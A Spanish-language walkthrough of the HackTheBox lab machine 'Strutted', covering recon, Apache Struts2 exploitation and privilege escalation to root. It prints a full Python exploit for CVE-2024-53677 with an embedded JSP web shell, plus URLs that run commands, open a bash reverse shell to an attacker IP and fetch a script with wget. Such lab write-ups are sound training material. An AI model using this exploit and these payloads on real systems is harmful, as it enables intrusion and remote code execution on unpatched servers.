Maquina Gratuita Strutted de HackTheBox | Full WriteUp

 

STRUTTED


Por
Rick Álvarez

Reconocimiento

Ping, IP y SO: 


Enumeración

Quick scan:


Servicios y versiones

Vemos 2 puertos + Virtual hosting

Agregamos nuestro dominio al archivo /etc/hosts para obtener nuestro acceso a strutted.htb



[Opcional - Vuln]


Vale

Por lo pronto no tenemos nada que hacer para nuestros 2 puertos encontrados, tu pudieras omitir este paso.


Puerto 22 - OpenSSH 8.9p1

No tenemos usuarios para trabajar aqui, tal ves pudieramos buscar algun exploit para la version de SSH


Puerto 80 - nginx 1.18 (para Ubuntu)

whatweb:


Bien, tal ves ya tenemos una pista de a donde iran los tiros en esta maquina...


Sitio + Wappalizer

Vaya tenemos un par de cositas por aquí:

- Java engine

- Upload de imágenes (pudiéramos inyectar algún archivo malicioso)

...

Mientras tanto, vamos a ver si podemos subir un archivo malicioso:

...

Navegando un poco en el sitio, hay una opción disponible que descarga un zip donde podemos encontrar cosas como, un archivo de configuración con unas credenciales:

(esta info la tendremos en mente)

Y ademas encontré este archivo, pom.xml:


Y buscando en internet, encontré el siguiente exploit relacionado al CVE-2024-53677:

Así que vamos a intentar explotarlo


Explotación

Bien 

Esta parte fue mucho a prueba y error, ya que intente con Burpsuite pasar algunas validaciones de la imagen, dejando lo de la siguiente manera (solo como referencia):

Combinando con el exploit, que al final quedo de la siguiente manera:



import requests

import time

import sys

import argparse


requests.packages.urllib3.disable_warnings(

    requests.packages.urllib3.exceptions.InsecureRequestWarning

)


# 배너 출력

banner = r"""..-+*******-                                                                                  

            .=#+-------=@.                        .:==:.                                                   

           .**-------=*+:                      .-=++.-+=:.                                                 

           +*-------=#=+++++++++=:..          -+:==**=+-+:.                                                

          .%----=+**+=-:::::::::-=+**+:.      ==:=*=-==+=..                                                

          :%--**+-::::::::::::::::::::+*=:     .::*=**=:.                                                  

   ..-++++*@#+-:::::::::::::::::::::::::-*+.    ..-+:.                                                     

 ..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.                                                       

 .-#=---**:::::::::::::::::::::::::=+++-:::-#:..            :=+++++++==.   ..-======-.     ..:---:..       

  ..=**#=::::::::::::::::::::::::::::::::::::%:.           *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.    

   .=#%=::::::::::::::::::::::::::::::::-::::-#.           %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-    

  .*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:.  =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-    

  .+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-.  :=====+#@@@@-=@@@+.  .%@@@%=+@@@+.  .#@@@%-    

   .+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-    

   .=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-    

   .=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*-   .@@@@#=----:.  .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-    

   .-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-.   .@@@@%######*+.       .-%@@@#:  .....:+@@@@*:    

    :+=:::::::::::-:-::::-%=----------=#:::--%++++=**      %@@@@@@@@@@@@.        =%@@@#.        =@@@@*.    

    .-*-:::::::::::::::::**---------=+#=:::-#**#*+#*.      -#%@@@@@@@@@#.        -%@@%*.        =@@@@+.    

.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.::         ..::----:::.         .-=--.         .=+=-.     

%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.                                                           

*+.......+*::::::::::::::::-****-:::::=*=:.++:*=                                                           

.%:..::::*@@*-::::::::::::::-+=:::-+#%-.   .#*#.                                                           

 ++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.                                                            

 :#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..                                                              

 .++....-#:::%.   .-*+-..*=.+@= .=+..-#                                                                    

 .:+++#@#-:-#= ...   .-++:-%@@=     .:#                                                                    

     :+++**##@#+=.      -%@@@%-   .-=*#.                                                                   

    .=+::+::-@:         #@@@@+. :+*=::=*-                                                                  

    .=+:-**+%%+=-:..    =*#*-..=*-:::::=*                                                                  

     :++---::--=*#+*+++++**+*+**-::::::+=                                                                  

      .+*=:::---+*:::::++++++*+=:::::-*=.                                                                  

       .:=**+====#*::::::=%:...-=++++=.      Author: EQST(Experts, Qualified Security Team)

           ..:----=**++++*+.                 Github: https://github.com/EQSTLab/CVE-2024-53677  



============================================================================================================    


CVE-2024-53677 : Apache Struts2 File Upload vulnerabilities

File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0. Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload . If you are not using an old file upload logic based on FileuploadInterceptor your application is safe. You can find more details in  https://cwiki.apache.org/confluence/display/WW/S2-067


============================================================================================================= 

"""


# 하드코딩된 JSP 파일 내용

HARDCODED_FILE_CONTENT = """GIF87a


<%@ page import="java.io.*, java.util.*, java.net.*" %>

<%

    String action = request.getParameter("action");

    String output = "";


    try {

        if ("cmd".equals(action)) {

            String cmd = request.getParameter("cmd");

            if (cmd != null) {

                Process p = Runtime.getRuntime().exec(cmd);

                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

                String line;

                while ((line = reader.readLine()) != null) {

                    output += line + "\\n";

                }

                reader.close();

            }

        } else {

            output = "Unknown action.";

        }

    } catch (Exception e) {

        output = "Error: " + e.getMessage();

    }

    response.setContentType("text/plain");

    out.print(output);

%>

"""

class StrutsExploit:

    

    def __init__(self, url: str, path: str, file_content: str = None):

        self.url = url

        self.path = path

        self.file_content = file_content if file_content else HARDCODED_FILE_CONTENT


    def greeting(self) -> None:

        print(banner)


    # 스피너 애니메이션

    @staticmethod

    def spinner(duration=10, interval=0.1) -> None:

        spinner_chars = ['|', '/', '-', '\\']

        end_time = time.time() + duration

        while time.time() < end_time:

            for char in spinner_chars:

                sys.stdout.write(f'\r[{char}] Loading, please wait...')

                sys.stdout.flush()

                time.sleep(interval)

        print("")


    # 파일 업로드 함수

    def exploit(self) -> None:

        files = {

            'Upload': ("exploit_file.gif", self.file_content, 'image/jpeg'),

            'top.UploadFileName': (None, self.path),

        }


        try:

            response = requests.post(self.url, files=files)

            print("Status Code:", response.status_code)

            print("Response Text:", response.text)

            if response.status_code == 200:

                print("File uploaded successfully.")

            else:

                print("Failed to upload file.")

        except requests.exceptions.RequestException as e:

            print(f"Request failed: {e}")


def main(args):

    # 파일 내용 읽기

    file_content = None

    if args.file:

        try:

            with open(args.file, 'r') as f:

                file_content = f.read()

        except FileNotFoundError:

            print(f"Error: File '{args.file}' not found.")

            exit(1)


    # 실행

    exploit = StrutsExploit(args.url, args.path, file_content)

    #exploit.greeting()

    StrutsExploit.spinner(duration=2)

    exploit.exploit()


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description="Upload a file to a server.")

    parser.add_argument("-u", "--url", required=True, help="The URL to send the POST request to.")

    parser.add_argument("-p", "--path", required=True, help="The top.UploadFileName value.")

    parser.add_argument("-f", "--file", help="The local file to upload instead of the hardcoded file.")

    

    args = parser.parse_args()

    main(args)



Lo ejecuté 


y me dio el resultado en html, el cual solo copié el link:


Posteriormente ingrese al url y le puse los parametros faltantes, segun lo que esperaba el jsp:


URL + payload

http://strutted.htb/test.jsp?action=cmd&cmd=id

Y ...


Ahora podemos ejecutar comandos a traves de una webShell por jsp


ReverseShell

Atacante:


Victima:

URL + payload

http://strutted.htb/test.jsp?action=cmd&cmd=bash -c "bash -i > %26 /dev/tcp/10.10.14.51/443 0>%261"

Enviamos petición:

:O

Parece que no le gusta!

Pero seguimos teniendo una webShell, asi que es tiempo de hacer algunos trucos para poder tener una reverseShell:

Primero hay que tener un archivo bash en nuestra maquina atacante y la pondremos a disposición de la maquina victima:

NOTA: considera que debe tener tu IP y asigna un puerto que quieras que sea la conexión, yo utilizare el 443

Bien ahora desde la maquina atacante vamos a ejecutar los siguientes pasos:

- Descargar el archivo:

    http://strutted.htb/test.jsp?action=cmd&cmd=wget http://10.10.14.51/bash.sh -o /tmp/bash.sh

- Verificamos que exista el archivo:

    http://strutted.htb/test.jsp?action=cmd&cmd=ls%20-al%20/tmp


- Dar permisos de ejecución   

    http://strutted.htb/test.jsp?action=cmd&cmd=chmod 777 /tmp/bash.sh


- Ejecutar (no olvidemos tener nuestra maquina atacante en escucha):

    ...


Pufff nada, vamos a ver si es por que la /bin/bash existe y donde existe:

...

Vale después de investigar un poco la he encontrado:


Vamos ajustar nuestro script:


Volvemos hacer los pasos previos ...

Pues no, no me ha dejado pos chsm!


Tengo una webShell y no me la van a quitar XD

Vamos a seguir enumerando desde la webShell


Vamos a enumerar usuarios:


Tenemos root y james

...

Recuerdas que bajamos un archivo zip donde nos mostraba una configuracion de tomcat?

Vamos a ver si tiene la misma estructura en la maquina victima...

Va ver los archivos de configuración de tomcat:


Vamos a ver si podemos ingresar por ssh:


No funcionó para root pero si para james

Y con esto conseguimos la primer flag para capturar en HTB:


Post-Explotación

Jugando un poco con sudo -l

Y dado a que GTFOBINS nos indica que podemos jugar con algunos parametros de sudo:


de tcpdump

...

Y despues de varios intentos, logre ser root

lo que hice es primeramente crear algun tipo de texto (test.txt) ya que no podia ver alguna salida de este comando de sudo tcpdump:

Posteriormente hice una copia de la bash al directorio /tmp y ejecute

Luego le di permisos a esa bash temporal para que tuviera prendido el bit SUID 


Ya por ultimo ejecute esa bash con el parametro -p para ejecutar como el propietario, en este caso root:

Y así es como terminamos pwneando la maquina en la plataforma de HTB :)



Espero que esta resolución de la maquina Strutted de HackTheBox te haya gustado.

Yo te leo, en el proximo post!

Saludos.





Comentarios